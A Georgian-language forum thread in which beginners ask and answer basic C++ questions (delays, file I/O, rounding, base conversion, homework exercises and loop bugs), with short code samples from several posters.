Printable Version of Topic
Click here to view this topic in its original format
თბილისის ფორუმი > Hello World > ნუბური შეკითხვები C++ - ში


Posted by: Devastator 6 Nov 2012, 16:53
მოგესალმებით smile.gif
მგონი საჭირო იყო ცალკე თემის გახსნა დამწყებთათვის დაპროგრამების ამ ენასთან დაკავშირებით.

განვიხილოთ სხვადასხვა მაგალითები, ალგორითმები... ვიზუალური დეველოპმენტი სხვადასხვა გარემოებში:
Nokia QT Creator | MS Visual Studio | Borland

პირადად მე არ ვარ "დამწყები" დიდი ხანია ვუტრიალებ დაპროგრამებას, მაგრამ საფუძვლიანად არასოდეს მისწავლია, ამიტომაც დაბალი დონე მაქვს ცოდნის.

C++

მე მაქვს ასეთი კითხვა:
მაინტერესებს დრო და დროის გამოყენების სხვადასხვა ფუნქციები. მაგალითად მაქვს რაღაც ციკლი, რომელსაც გამოაქვს ციფრები 0-დან 4-მდე, ოღონ გამოტანისას "დაყოვნება" ხდება მაგ. 1 წამი. როგორ შეიძლება ამის გაკეთება?

Posted by: lester 6 Nov 2012, 17:14
Devastator

Borland- ძალიან არ მომწონს
Visual CPP- არც მიცდია და არც მაქვს სურვილი
Qt-მაზაფაქააა

usleep(microseconds) ესე შეგიძლია დააძინო შენი აპი 5წამი= 5 000მილიწამი=5 000 000 მიკროწამი - UNIX

sleep(miliseconds) - Windows

Posted by: Devastator 6 Nov 2012, 17:55
lester
Visual Studio-ში ვმუშაობ მე ძირითადად.
QT რატომღაც ნერვებს მიშლის biggrin.gif

ასეთი რამე ვცადე, მაგრამ არ ეშვება. ჰედერში ხო არ უნდა რაიმეს დამატება? (მაგრამ #include <ctime> და include "time.h" გამოვიყენე და რავიცი... time.h არის საერთოდ .net-ში?)...

int i, x;
for(i=0;i<4;i++)
{
x=i;
cout<<x<<endl;
sleep(2000);
}
return 0;

Posted by: lester 6 Nov 2012, 18:11
Devastator

Windows.h

ვერ მივხვდი .NET რა შუაშია?

შენ რა კოდიც დაწერე სუფთა C++ია რომელსაც არანაირი კავშირი არ აქვს .NET-თან

თუ c#-ზე წერ ეს გამოიყენე System.Threading.Thread.Sleep(milliseconds)

Posted by: Devastator 6 Nov 2012, 18:55
lester
არც კი ვიცი ეგ header-ების კრებული სადაა biggrin.gif

მაგრამ მაინც არ ეშვება
#include "stdafx.h"
#include <iostream>
#include "windows.h"
using namespace std;


int main()
{
int i, x;
for(i=0;i<4;i++)
{

x=i;
cout<<x<<endl;
sleep(2000)
}
return 0;
}



Posted by: Svani91 6 Nov 2012, 19:05
Devastator

Sleep

დიდი S

Posted by: getch 6 Nov 2012, 23:58
დაახლოებით ესეთი პროგრამა c _ში როგორ დავწერო?

Posted by: Devastator 7 Nov 2012, 13:45
Svani91
მადლობა smile.gif
..........

Posted by: Kamanch 11 Nov 2012, 15:09
გავერთიანდები ნუბების კლუბში biggrin.gif უნივერსიტეტში ვსწავლობ borland C++ მარა პირველ კურსზე ვარ და ნელა მივდივართ... Visual Basic-თან ადრე მქონდა შეხება და ცოტათი ვერკვეოდი. იქ ვიცოდი ბაზებზე მუშაობა და ეგეც აღარ მახსოვს უკვე იმდენი ხანი გავიდა givi.gif ხოდა C++ ში მაინტერესებს როგორ შეიძლება ისეთი მარტივი ოპერაციის გაკეთება, როგორიცაა თუნდაჩ "open"? ანუ რო გავუშვა და ვთქვათ დესკტოპი გამიხსნას ფაილის ასარჩევად? ხო ნუბური კითხვაა მარა მეპატიება givi.gif Visual Basic ში სამუშაო პანელია და იმაზე აწყობ პროგს მარა ამასი მარტო ტექსტებია და ცოტა მოუხერხებლად მეჩვენება. ან ალბატ იმის ბრალია რო აზრზე არ ვარ biggrin.gif

Posted by: cybernation21 11 Nov 2012, 22:13
ofstream myfile; //აღწერა myfile ის
myfile.open ("example.txt"); //მითითება დირექტორიის
myfile << "Writing this to a file.\n"; //ჩაწერა
myfile.close(); //დახურვა

Posted by: n01k37 12 Nov 2012, 18:29
Qt-ში for/loop ვერ შევასრულე ვერანაირად და იქნებ მითხრათ რაშია საქმე :დ

CODE
   DWORD AddressOfNames = export_directory->AddressOfNames + (DWORD)hMem;
   DWORD NumberOfNames = export_directory->NumberOfNames;
   
for(DWORD i = 0; i < NumberOfNames; i++)
     {
//ეს საერთოდ არ სრულდება, აი საერთოდ.
       char *pName = *((char**)AddressOfNames + i) + (DWORD)hMem;
       MessageBoxA(NULL, pName, NULL, 0x40);
     }
//ეგრევე აქ ხტება.
VirtualFree(hMem, NULL, MEM_RELEASE);


უსეინგ Qt Creator 2.6.0, SDK - 4.8.3

Posted by: Svani91 12 Nov 2012, 18:33
n01k37

NumberOfNames - ის ნულის ტოლობა გამორიცხე?

Posted by: n01k37 12 Nov 2012, 18:39
Svani91
დიახ, მშვენივრად მუშაობს MSVC-ზე ეს კოდი, Qt-ში არა.
---
ვა, ეხლახანს დავაკვირდი, 0-ის ტოლია აქ.. და რატომ O_O MSVC-ში საერთოდ არანაირი პრობლემა არ აქვს. ჩავუჯდები საკაიფოდ, მადლობა მაინც! smile.gif
---
ტფუი, IMAGE_EXPORT_DIRECTORY-ს არასწორად ვითვლიდი )) მართლა ნუბური შეკითხვა იყო :დ

Posted by: Devastator 13 Nov 2012, 20:33
press any key to continue... როგორ გავაქრო კონსოლიდან? biggrin.gif
და კდიევ მაინტერესებს - შემიძლია თუ არა კონსოლში ტექსტისათვის ფერის შეცვლა?

Posted by: Wildwesthero 13 Nov 2012, 21:57
Devastator
system ("PAUSE")-ს მაგივრად დაწერე cin.get()
თუ არ იმუშავა ორჯერ დაწერე:
cin.get();
cin.get();

Posted by: Farel0x 13 Nov 2012, 21:58
Devastator
ან C - ს ფუნქცია: getch(); გამოიყენე.

conio ჰედერშია.

Posted by: cybernation21 14 Nov 2012, 00:47
Devastator
გააჩნია რა ide ს ხმარობ
QUOTE
შემიძლია თუ არა კონსოლში ტექსტისათვის ფერის შეცვლა?

კონსოლის ჩარჩოს ზედა მხარეზე მარჯვენა წკაპით პროპერტიში
Farel0x
how old are u? mad.gif
happy happy http://www.Smiles.Ge

Posted by: Farel0x 14 Nov 2012, 03:32
cybernation21
20 mad.gif
thanx :-D

Posted by: Marthin_Luther_King 14 Nov 2012, 11:23
Devastator
ან დებაგერით გაუშვი F5 givi.gif

Posted by: n01k37 17 Nov 2012, 18:01
Devastator
http://msdn.microsoft.com/en-us/library/windows/desktop/ms686047(v=vs.85).aspx

Posted by: getch 22 Nov 2012, 23:26
გროვის მთავარი თვისება რა არის?

Posted by: Van Troy 24 Nov 2012, 20:22
ბრატცი, რიცხვი როგორ დავამრგვალო მეასედებამდე ბორლანდში?
ოღონდ ბორლანდი რად გინდაო არ მკითხოთ! mad.gif

და კიდე ისა, როგორ გავაკეთო ისე რომ, ენთერის დაჭერის მერე კონსოლი თავიდან ეშვებოდეს დახურვის მაგივრად.

Posted by: Marthin_Luther_King 24 Nov 2012, 20:50
Van Troy
CODE

#include <math.h>
double  round (double x)
long  roundl (long double x)
float  roundf (float x)
long  lround (double x)
long  lroundl (long double x)
long  lroundf (float x)
long  llround (double x)
long  llroundl (long double x)
long  llroundf (float x)



მეორე არ ვიცი biggrin.gif

Posted by: Farel0x 24 Nov 2012, 21:03
Van Troy
გეპეიში ხოარ სწავლობ biggrin.gif

Posted by: cybernation21 25 Nov 2012, 14:07
Van Troy
double gr;
cout<<setprecision(2)<<fixed<<gr<<endl;

QUOTE
და კიდე ისა, როგორ გავაკეთო ისე რომ, ენთერის დაჭერის მერე კონსოლი თავიდან ეშვებოდეს დახურვის მაგივრად.

return main(); // presumably

Posted by: Van Troy 26 Nov 2012, 22:24
Marthin_Luther_King
cybernation21
გაიხარეთ, კაი ხალხი ხართ. up.gif

Farel0x
არა მანდვე ვარ ალასანიაში. biggrin.gif

Posted by: getch 28 Nov 2012, 21:10
რა ვქნათ იმ შემთხვევაში თუ მითითებული არ არის რამდენი ცვლადი შემოდის

Posted by: Wildwesthero 28 Nov 2012, 22:01
getch
ანუ არ იცი ფუნქციას რამდენი შემომავალი არგუმენტი ექნება?
C#-ის შემთხვევაში ასე დავწერდი

სიტყვაზე: void func (System.object[] args) {}

C++-ის შემთხვევაში ვერ დაგეხმარები აღარ მახსოვს givi.gif

Posted by: Anonim 28 Nov 2012, 22:11
getch
#include <stdarg.h>
va_list
va_start
va_art

"Variable argument list" ასე მონახე ინტერნეტში და მიხვდები როგორც უნდა გაკეთდეს.

QUOTE
C++-ის შემთხვევაში ვერ დაგეხმარები აღარ მახსოვს givi.gif

C++ იშც იგივე იქნება.

Posted by: Mi Di 3 Dec 2012, 15:04
აუ შუალედურზე ვარ С ვინც იცის შემეხმიანეთ რა sad.gif

Posted by: Svani91 3 Dec 2012, 15:20
Mi Di

დაწერე ამოცანები

იქნებ c- ს უცოდინრებიც დაგეხმაროთ

Posted by: MrChorna 9 Dec 2012, 17:05
შეგიძლიათ ვინმემ დამიწეროთ ფუნქცია C++-ში რომელიც ათობით რიცხვს გადაიყვანს ორობითში user.gif ეხლა ვცდილობ და ვერ ავამუშავე ვერაფრით

Posted by: stinky 9 Dec 2012, 19:10
MrChorna


http://pastie.org/5462763


აგეტ დაწერილი მაქ, ყველაობითში გადაყავს 2 დან 36 მდე

Posted by: MrChorna 9 Dec 2012, 19:41
QUOTE (stinky @ 9 Dec 2012, 19:10 )
MrChorna


http://pastie.org/5462763


აგეტ დაწერილი მაქ, ყველაობითში გადაყავს 2 დან 36 მდე

სპასიბა გავარჩიე და გავიგე up.gif
* * *
ეხლა რა მაინტერესებს, ეს კოდი გადავიყვანე პირდაპირ 16-ბითში გადაყავს მაგრამ ერთი კითხვა მაქვს. 16-ობითში 10-ის სიმბოლოა A 11 B და ა.შ, როგორ ვუთხრა ეს პროგრამას რო 10 11 12 13 14 15 მაგივრად A B C D E F ჩაწეროს?

Posted by: Ostrakoni 11 Dec 2012, 12:36
QUOTE
შემიძლია თუ არა კონსოლში ტექსტისათვის ფერის შეცვლა?

კი მე ესე მოვახერხე
system("color 0A");
0A მაგალითად. ჩვეულებრივი cmd ს ფერები შეგიძლია გამოიყენო. ალბათ მარტო ვინდოუსზე იმუშავებს
* * *
QUOTE
სპასიბა გავარჩიე და გავიგე 
* * *
ეხლა რა მაინტერესებს, ეს კოდი გადავიყვანე პირდაპირ 16-ბითში გადაყავს მაგრამ ერთი კითხვა მაქვს. 16-ობითში 10-ის სიმბოლოა A 11 B და ა.შ, როგორ ვუთხრა ეს პროგრამას რო 10 11 12 13 14 15 მაგივრად A B C D E F ჩაწეროს?


ესეთი რაღაც გავაკეთე

CODE

#include <iostream>
#include <vector>
#include <string>
using namespace std;

int main()
{
system("color 0A");
system("type chotqi.txt");
cout<<"\n\
ricxvis sxva tvlis sistemashi gadasayvanad\n\
sheiyvanet ricxvi da indeqsi.\n\
magalitad: tu ginda gadaiyvano 5 orobitshi akrife '5 2'\n\
an 48 teqvsmetobitshi '48 16' da a. sh.\n";
vector <char> ch36;
vector <int> int36;
string key="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (int j=0;j<key.size();j++)  
ch36.push_back(key[j]);
for (int i=0;i<ch36.size();i++)
int36.push_back(i);
int k,l;      
string cnv="";
cin>>k>>l;
while (k!=0)
{
string tmp=cnv;
cnv=ch36[k%l]+tmp;
k/=l;
}
cout<<cnv<<endl;

system("pause");
return 0;
}


უფრო გამარტივებაც შეიძლება ალბათ

Posted by: MrChorna 11 Dec 2012, 20:05
Ostrakoni
ვაბშემც მვიხვდი რაც ხდება მაგ კოდში მაგრამ მაინც რთულია ჩემთვის
მაგდენი არ გამივლია ჯერ user.gif სპასიბა მაინც

Posted by: getch 14 Dec 2012, 19:16
ლინუქსე ც++_ის აპლიკაცია როგორ გავაკეთო?

Posted by: Ostrakoni 14 Dec 2012, 19:51
QUOTE
Ostrakoni
ვაბშემც მვიხვდი რაც ხდება მაგ კოდში მაგრამ მაინც რთულია ჩემთვის
მაგდენი არ გამივლია ჯერ  სპასიბა მაინც

არადა მეგონა რომ გაიარე. ვაბშემც მეგონა რომ დაპროგრამებაში 24 ქულა გაქვს smile.gif smile.gif (კოლოქვიუმში)
* * *
QUOTE
system("color 0A");
system("type chotqi.txt");

ესენი ეფექტისთვის მოვიგონე smile.gif
user posted image
* * *

getch
QUOTE
ლინუქსე ც++_ის აპლიკაცია როგორ გავაკეთო?

ლინუქსზე რამე IDE დააყენე და იქ დააკომპილე მაგალითად Code blocks ით

Posted by: MrChorna 15 Dec 2012, 00:12
Ostrakoni
23 მაქვს spy.gif მაგრამ მაგდენი არ გამივლია
რა ბევრია 23 30-დან? biggrin.gif მეტი მინდოდა, მარა ისეთი ქულები დაიწერა ძირიტადად ბოლოს ესეც გამეხარდა

QUOTE
string key="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

აი ეს არ გამივლია მაგრამ მოვწვი რაც ხდება
ხვალ ჩავუჯდები აბა

Posted by: Farel0x 15 Dec 2012, 00:16
getch
g++ კომპილატორი გამოიყენე,რომელსაც ჩაშენებული აქვს კომპილატორიც და ლინკერიც(.o ფაილების გაერთიანებისთვის და executable - ს მისაღებად)
g++ -o prog main.cpp

Posted by: Ostrakoni 15 Dec 2012, 01:16
QUOTE
string key="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

აი ეს არ გამივლია მაგრამ მოვწვი რაც ხდება

არაფერი განსაკუთრებული. სტრინგია ჩვეულებრივი. იმ სიმბოლოებით შევავსე რაც 10ობითიდან 36ობითამდე სისტემის რიცხვებს სჭირდება. ავტომატურადაც შეიძლებოდა შევსება მაგრამ ესე უფრო მოკლე და ადვილია.

Posted by: getch 15 Dec 2012, 23:20
გუშIნ იყო უსაკო და მესამე დივიზიონის 1 და მეორე ამოცანებს გეტყვით
ნუ საკმაოდ კარგი ამოცანებია

1 ამოცანა


ნუ მოკლედ 2 ძროხა არის საკოოედინათო ღერძზე, 0_ზე. ძროხები იწყებენ მოძრაობას (ან მარცხნივ ან მარჯვნივ) ყოველ შეხვედრისას ძროხები ესალმებიან ეღთმანეთს და უნდა დავთვალოთ მოძრაობის დასრულების შემდეგ ეს ძროხები რამდენჯერ მიესალმნენ ერთმანეთს.


შემომავალი ფაილი:
4 5 // 4_პირველი ძროხის მოძრაობა, 5_ მეორე ძროხის მოძრაობა
3 L
5 R
1 L
2 R
4 R
1 L
3 L
4 R
2 L





გამომავალი ფაილი :3

Posted by: Ostrakoni 16 Dec 2012, 14:38
QUOTE
4 5 // 4_პირველი ძროხის მოძრაობა, 5_ მეორე ძროხის მოძრაობა

ვერაფერი გავიგე

Posted by: getch 16 Dec 2012, 14:58
Ostrakoni
4 5



3 L
5 R
1 L
2 R
ეს არის პირველი ძროხის მოძრაობა ანუ 4 _ჯერ გადაადგილდა


4 R
1 L
3 L
4 R
2 L
ეს მეორე ძროხის მოძრაობა ანუ 5-ჯერ გადაადგილდა

Posted by: Van Troy 18 Dec 2012, 12:29
მოცემულია მასივი ინტ B[15]
მასივის ელემენტებს მიანიჭეთ ნებისმიერი მნიშვნელობები
განსაზღვრეთ მასივის კენტინდექსიან ელემენტებს შორის უდიდესი
განსაზღვრეთ მასივის ლუწინდექსიან ელემენტებს შორის უდიდესი
მე-2 და მე-3 ეტაპზე მიღებული შედეგები შეადარეთ ერთმანეთს

help? anyone? user.gif

Posted by: getch 18 Dec 2012, 13:02
Van Troy
#include<stdio.h>
#include<stdlib.h>
#include<iostream>
#include <algorithm>
using namespace std;
main()
{
int a, b, max, udidesi, max1, c, d[17];
max=0;
max1=0;
for (a=1; a<=15; a++){
scanf ("%d", &d[a]);
if (a%2==0){
if (d[a]>max){
max=d[a];
}
}
if (a%2==1){
if (d[a]>max1){
max1=d[a];
}
}
}
printf ("%d %d\n", max, max1);
system ("pause");
}

Posted by: Dixtosa 18 Dec 2012, 14:24
getch
3 L
5 R
1 L
2 R

ეს რა არი ანუ 3 ბიჯით გადავიდა მარცხნივ?


გინდა უფრო მაგარი გიხრა?;დ


გაქვს სახაზავი L სიგრძით დგას N ჭიანჭველა a1, a2, a3, ..., ai, ..., aN პოზიციებზე და აქვთ მიმართულება b1, b2, b3, ..., bi, ..., bN თუ ბ1 არის 1 მაშინ მიდის მარჯვნივ თუ -1 ე.ი. მიდის მარცხნივ 1 მ/წმ-ით. ხოდა გაიგე წრფივ დროში როდის დაცარიელდება სახაზავი. თუ გეტყვი რომ როცა ჭიანჭველები ერთმანეთს ეჯახებიან მიმართულებას იცვლიან. და სახაზავის ბოლოს თუ მიაღწია გადავარდება :/ :დ

ზევით რაც დავწერე ყველაფერი მოცემული გაქვს.

Posted by: getch 18 Dec 2012, 15:15
Dixtosa
QUOTE
პოზიციებზე და აქვთ მიმართულება b1, b2, b3, ..., bi, ..., bN თუ ბ1 არის 1 მაშინ მიდის მარჯვნივ თუ -1 ე.ი. მიდის მარცხნივ 1 მ/წმ-ით.


ეს ნაწილი ვერ გავიგე

Posted by: getch 20 Dec 2012, 14:45
როგორ დავთვალო რაიმე პროგრამული კოდი რა დროში იმუშავებს

Posted by: Dixtosa 20 Dec 2012, 17:37
getch
printf("\n\ntime-%.3lf", clock()*1e-3);


QUOTE
ეს ნაწილი ვერ გავიგე

ა1 პოზიციაზე ანუ თუ ა1 არის 7 ე.ი. სახაზავზე მეშივდე დანაყოფი როა იქ დგას.

Posted by: tornike03 20 Dec 2012, 20:40
დაწერეთ ფუნქცია, რომელიც დაადგენს: არის თუ არა მთელი N რიცხვი 3-ის ჯერადი. პროგრამაში შექმენით მთელ რიცხვთა ვეცტორი და ჩაწერეთ მასში 150 შემთხვევითი რიცხვი [12; 100] შუალედიდან. შემდეგ ცნობილი ალგორითმის (count_if) და თქვენი ფუნქციის გამოყენებით დაითვალეთ და დაბეჭდეთ ვეცტორში 3-ის ჯერადი რიცხვების რაოდენობა.

ესეთი სახის დავალებები მაქვს მოცემული visual studio-ში და ვერ მივხვდი როგორ დავწერო კაცურად თუ იცით ვინმემ იქნებ დამიწეროთ და შემდეგ ანალოგიურად გავაკეთებ სხვებს.

Posted by: stinky 23 Dec 2012, 10:31
tornike03


განიველი პირველკურსელი ხარ? biggrin.gif user.gif

Posted by: Ostrakoni 23 Dec 2012, 19:42
QUOTE
განიველი პირველკურსელი ხარ?   


რავა ტეხავს თუ?

Posted by: stinky 25 Dec 2012, 12:42
Ostrakoni


მეც მანდ ვსწავლობ და ვიცანი ცპპ საკონტროლოს საკითხებით drug.gif spy.gif

Posted by: Sepp 25 Dec 2012, 13:28
დაპროგრამების ენა C++-ზე ფუნქციის შაბლონის გამოყენებით შეადგინეთ პროგრამა, რომელიც განსაზღვრავს ორი ნატურალური რიცხვის უდიდესი საერთო გამყოფის მნიშვნელობას. ფუნქცია გამოიძახეთ ჯერ int და შემდეგ long ტიპის მონაცმემებისთვის.

ეს ვინმემ დამიწერეთ რა Borland-ში ოღონდ. sad.gif

Posted by: Devastator 7 Jan 2013, 23:29
ვაა აქ რა კაი ამოცანები იჩითება biggrin.gif ...მე GPI-შნიკი ვარ... ისე ერთი ძაან უბრალო (ალბათ) რაღაცა მაინტერესებს. არ ვიყენებ ხშირად ამ მეთოდს და არ მაქვს დამურამებული.
მინდა რაღაც კონკრეტულმა პროგრამამ (ერთმა ფუნქციამ), რომელიც int მონაცემებზე მუშაობს, იტრიალოს ციკლში მანამ, სანამ string მონაცემით არ შევიყვან "end"-ს.
გავაკეთე რაღაც, მაგრამ end რომ შემყავს იციკლება biggrin.gif რაღაც ამერია აშკარად.
// CClass.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
#include <string>
using namespace std;
class Ctriangle{
public:
int triper(int x, int y, int z)
{
int per = x+y+z;
return per;
}
};

int main()
{
string end;
while(end !="end"){
int a, b, c;
cin>>a;
cin>>b;
cin>>c;
Ctriangle triangle;
cout<<triangle.triper(a,b,c)<<endl;
cout<<"Type 'end' to terminate process"<<endl;

}
cin>>end;

return 0;
}
biggrin.gif biggrin.gif "triper"-ს ნუ შეიმჩნევთ მაინც. ეგეთ "გონებამახვილურ" სახელებს ვარქმევ-ხოლმე ელემენტებს biggrin.gif

Posted by: n01k37 8 Jan 2013, 12:02
QUOTE (Devastator @ 7 Jan 2013, 23:29 )
ვაა აქ რა კაი ამოცანები იჩითება biggrin.gif ...მე GPI-შნიკი ვარ... ისე ერთი ძაან უბრალო (ალბათ) რაღაცა მაინტერესებს. არ ვიყენებ ხშირად ამ მეთოდს და არ მაქვს დამურამებული.
მინდა რაღაც კონკრეტულმა პროგრამამ (ერთმა ფუნქციამ), რომელიც int მონაცემებზე მუშაობს, იტრიალოს ციკლში მანამ, სანამ string მონაცემით არ შევიყვან "end"-ს.
გავაკეთე რაღაც, მაგრამ end რომ შემყავს იციკლება biggrin.gif რაღაც ამერია აშკარად.
// CClass.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
#include <string>
using namespace std;
class Ctriangle{
public:
int triper(int x, int y, int z)
{
  int per = x+y+z;
  return per;
}
};

int main()
{
string end;
while(end !="end"){
int a, b, c;
cin>>a;
cin>>b;
cin>>c;
Ctriangle triangle;
cout<<triangle.triper(a,b,c)<<endl;
cout<<"Type 'end' to terminate process"<<endl;

}
cin>>end;

return 0;
}
biggrin.gif biggrin.gif "triper"-ს ნუ შეიმჩნევთ მაინც. ეგეთ "გონებამახვილურ" სახელებს ვარქმევ-ხოლმე ელემენტებს biggrin.gif

გეპეი ჩემი ტკივილია facepalm.gif

CODE
#include <iostream>
#include <string>
using namespace std;
class Ctriangle
{
public:
int triper(int x, int y, int z)
{
 int per = x+y+z;
 return per;
}
};

int main()
{
string end;

while(end != "end")
{
 int a, b, c;
 cin>>a;
 cin>>b;
 cin>>c;
 Ctriangle triangle;
 cout<<triangle.triper(a,b,c)<<endl;
 cout<<"Type 'end' to terminate process"<<endl;
 cin >> end; //ციკლის გარეთ რომ გაქვს, აქ შეიტანე და გასწორდება.
}
return 0;
}

* * *
Sepp
CODE
#include <iostream>
#include <string>
int udidesi_saerto_gamyofi_int(int x, int y)
{
for(int j = x * y; j > 1; j--)
{
 if(!(x % j) && !(y % j))
  return j;
}
return 0;
}

int udidesi_saerto_gamyofi_long(long x, long y)
{
for(long j = x * y; j > 1; j--)
{
 if(!(x % j) && !(y % j))
  return j;
}
return 0;
}
int main(int argc, char* argv[])
{
int x = udidesi_saerto_gamyofi_int(60, 18);
long y = udidesi_saerto_gamyofi_long(60, 18);
std::cout << "udidesi saerto gamyofi INT: " << x << std::endl;
std::cout << "udidesi saerto gamyofi LONG: " << y << std::endl;
return 0;
}

--
ახსნა და მსგავსი რამე თუ გინდა დაგიწერ ოღონდ მოგვიანებით.

Posted by: gra132 9 Jan 2013, 12:16
ისეთი პროგრამა მინდა რომელსაც command line-იდან გადავცემ ტექსტურ ფაილს და პროგრამა დაითვლის თითოეული სიმბოლოს გამოჩენის სიხშირეს და ჩაწერს მასივში. თუ შეგიძლიათ რომ დამეხმაროთ

Posted by: Dixtosa 9 Jan 2013, 14:53
gra132
ფაილი წაიკითხე სიმბოლ-სიმბოლ (:დ თუ როგორცაა) და 256 ზომის მასივში ჩაწერე. აი ასე იქნება მთავარი ნაწილი კოდის


char tmp;
while(cin>>tmp)
{

TABLE[tmp]++;

}

Posted by: n01k37 10 Jan 2013, 17:12
gra132
CODE
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>

int main(int argc, char* argv[])
{
int damtxveva = 0;
int zoma = 0;
char buffer[256] = {0};
std::string str = "";
std::string masivi = "Damtxveviti asoebi: ";

std::ifstream inFile;
if(argc < 2)
{
 std::cout << "Usage: " << argv[0] << " file.txt" << std::endl;
 return 0;
}

inFile.open(argv[1], std::ios::in | std::ios::binary);
if(!inFile.is_open())
{
 std::cout << "Can't open file " << argv[1] << std::endl;
 return 0;
}

inFile.seekg(0, std::ifstream::end);
zoma = inFile.tellg();
inFile.seekg(0);

while(!inFile.eof())
{
 inFile.read(buffer, 128);
 str += buffer;
}

for(int i = 0; i < zoma; i++)
{
 for(int j = 0; j < i; j++)
 {
  if(str[i] == str[j])
  {
   damtxveva++;
   masivi += str[i];
  }
 }
}

std::cout << std::endl << "damtxvevebi: " << damtxveva << std::endl;
std::cout << masivi << std::endl;

inFile.close();
return 0;
}


არ მითხრა სათითაოდ მაინტერესებს რა რამდენჯერ დაემთხვაო )) შეგისწორებ მერე თუ ეგრე გინდა.

Posted by: gra132 11 Jan 2013, 16:56
სიმბოლოების გამოჩენის ფარდობითი სიხშირის მასივი მინდა რომ ენტროპია დავთვალო, და უბრალოდ შიხსირეებს ვერ ვითვლი

Posted by: n01k37 12 Jan 2013, 10:38
gra132
კარგი, რომ მოვიცლი შეგისწორებ.
* * *
n01k37
ეს სცადე აბა. მართალია ნაგავია, მაგრამ ცოტაოდენი ჩასწორებებით აღარ იქნება smile.gif
CODE
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <sstream>

int count(const char *buffer, int length, int x)
{
int charcount = 0;
for(int i = 0; i < length; i++)
{
 if(buffer[i] == x)
  charcount++;
}

return charcount;
}

bool CheckInArray(int x, int *array)
{
for(int i = 0; i < 256; i++)
{
 if(array[i] == x)
  return false;
}

return true;
}

int main(int argc, char* argv[])
{
int damtxveva = 0;
int zoma = 0;
char buffer[256] = {0};
int myarray[256] = {0};
std::stringstream out;
std::string str = "";
std::string masivi = "***damtxvevebi***\n\n";

std::ifstream inFile;
if(argc < 2)
{
 std::cout << "Usage: " << argv[0] << " file.txt" << std::endl;
 return 0;
}

inFile.open(argv[1], std::ios::in | std::ios::binary);
if(!inFile.is_open())
{
 std::cout << "Can't open file " << argv[1] << std::endl;
 return 0;
}

inFile.seekg(0, std::ifstream::end);
zoma = inFile.tellg();
inFile.seekg(0);

while(!inFile.eof())
{
 inFile.read(buffer, 128);
 str += buffer;
}

for(int i = 0; i < zoma; i++)
{
 for(int j = 0; j < 256; j++) //0 - 0xFF
 {
  damtxveva = count(str.c_str(), str.length(), j);
  if(damtxveva > 1 && CheckInArray(j, myarray))
  {
   myarray[j] = j;
   masivi += j;
   masivi += ": ";
   out << damtxveva;
   masivi += out.str() + "\n";
   out.str("");
  }
 }
}

std::cout << masivi << std::endl;

inFile.close();
return 0;
}

* * *
ასევე ნელია )) უცებ ვქენი და რაც გამომივიდა ესაა მოკლედ :დ

Posted by: MrChorna 16 Jan 2013, 11:04
ესეთი პროგრამა დავწერე:

CODE
#include<iostream>
#include<vector>
#include<algorithm>
#include<ctime>
using namespace std;
void F(vector<int>&);
int F5(vector<int>);
void PrintVec(vector<int>);
int main()
{
srand(time(NULL));
vector<int>v;
F(v);
cout<<F5(v)<<endl;
cout<<"\n\n\n";
PrintVec(v);
system("pause");
return 0;

}
void F(vector<int>&x)
{
if(x.size()==0)
{
for(int i=0;i<3000;i++)
x.push_back(100+rand());
}
else cout<<"carieli araa\n";
}
int F5(vector<int>x)
{
int s=0;
for(int i=0;i<x.size();i++)
{
if(x[i]%5==0) s+=x[i]*x[i];
}
return s;
}
void PrintVec(vector<int>x)
{
for(int i=0;i<x.size();i++)
{cout<<x[i]<<endl;}
}


და რატომღაც აი ამ ნაწილს:
CODE
cout<<F5(v)<<endl;
cout<<"\n\n\n";


არ აღიქვამს და პირდაპირ PrintVec-ზე ხტება
გადახედეთ რა user.gif

Posted by: n01k37 16 Jan 2013, 14:34
MrChorna
ძალიან კარგათაც აღიქვამს, უბრალოდ ერთხელ სრულდება რადგან "loop"-ში არ გაქვს. Debugger-ზე გსმენია რამე?

1) სრულდება F(v); და შიგნით loop-ში გაქვს კოდი.
2) ერთხელ სრულდება ეგ ორი ხაზი.
3) და ასევე PrintVec(v) სრულდება ისევ loop-ში.

Posted by: MrChorna 16 Jan 2013, 16:55
n01k37
სიმართლე გითხრა ვერ მივხვდი, დამწყები ვარ user.gif თუ შეგიძლია უფრო ადვილ ენაზე ამიხსნა? biggrin.gif
ანუ მინდა თავიდან გამოიტანოს F5(v)-ს შედეგი ანუ 5-ის ჯერადი წევრების კვადრატების ჯამი
და შემდეგ გააკეთოს 3 ხაზი (გამოტოვება) და დაბეჭდოს მთლიანი ვექტორი PrintVec-ით

ესე რო ვუშვებ რაც ზემოთ დავწერე პრიდაპირ PrintVec ბეჭდავს, ანუ F5(v) მიტოვებს, და თუ cout<<F5(v)<<endl; ჩამოვიტანე PrintVec-ის ქვემოთ მაშინ ჩვეულებრივად უშვებს..

Posted by: Dixtosa 16 Jan 2013, 17:31
MrChorna
შეწევები გაუკეთე კოდს ხოლმე.

Posted by: MrChorna 16 Jan 2013, 18:00
Dixtosa
შეწევები ქონდა მაგრამ გადაკოპირება-გადმოკოპირებაში დამეკარგა
* * *
ვა ეხლა სხვა გარემოში გავუშვი ეს კოდი და მუშაობს ჩვეულებრივადი (http://ideone.com)
Visual Studio 2012-ში რა შეიძლება ჭირდეს facepalm.gif
გამაგიჟებს ეს Cpp რა biggrin.gif

ეხლა რა ხდება
Visual 12-ში 3000 შევცვალე 100-ით და ჩვეულებრივად იმუშავა, 300-უკვე აღარ მუშაობს, ანუ რა ხდება ამიხსენით ვინმემ პლზ biggrin.gif

Posted by: n01k37 16 Jan 2013, 21:41
MrChorna
მეც ვერ მივხვდი ამ კოდით რის გაკეთებას აპირებ))
ლიმიტი აქვს vector-ს, ზუსტად აღარ მახსოვს რამდენი, მაგრამ ბევრს ვერ იტევს.

Posted by: Dixtosa 16 Jan 2013, 22:16
MrChorna
ცხადია კომპილერს მნიშვნელობა აქვს.

Posted by: MrChorna 16 Jan 2013, 22:24
n01k37
